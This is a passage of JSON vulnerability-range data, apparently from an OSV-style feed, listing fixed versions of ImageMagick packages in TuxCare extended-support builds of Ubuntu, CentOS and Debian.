ges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-q16-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libimage-magick-q16hdri-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16-8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16hdri-8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagick++-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6-arch-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-6-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-6-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickcore-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16hdri-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"libmagickwand-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:20.04","package":"perlmagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1ubuntu11.11+tuxcare.els6"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6.q16","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-6.q16hdri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"imagemagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-q16-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libimage-magick-q16hdri-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16-7","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16hdri-7","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagick++-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6-arch-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-3-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-3-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickcore-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16hdri-3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libmagickwand-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"perlmagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.7.4+dfsg-16ubuntu6.15+tuxcare.els12"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-6.q16","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"imagemagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libimage-magick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libimage-magick-q16-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6.q16-5v5","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagick++-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6-arch-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-2-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickcore-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6.q16-2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"libmagickwand-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:16.04","package":"perlmagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.8.9.9-7ubuntu5.17+tuxcare.els28"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_4.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-c++","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_4.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-c++-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_4.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_4.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-djvu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_4.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_4.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_4.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.4","package":"ImageMagick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_4.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_5.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-c++","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_5.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-c++-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_5.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_5.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-djvu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_5.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_5.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_5.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS:8.5","package":"ImageMagick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8_5.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-c++","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-c++-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-djvu","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:CentOS-Stream:8","package":"ImageMagick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"6.9.13.25-1.el8.tuxcare.els11"}]}]},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-6-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-6-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-6.q16","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-6.q16hdri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-common","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"imagemagick-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libimage-magick-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libimage-magick-q16-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libimage-magick-q16hdri-perl","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6.q16-8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6.q16-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6.q16hdri-8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-6.q16hdri-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagick++-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6-arch-config","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6-headers","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16-6","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.23+dfsg-2.1+deb10u7+tuxcare.els2"}]}],"bundled":8},{"source":"osv","ecosystem":"TuxCare:Debian:10","package":"libmagickcore-6.q16-6-extra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8:6.9.10.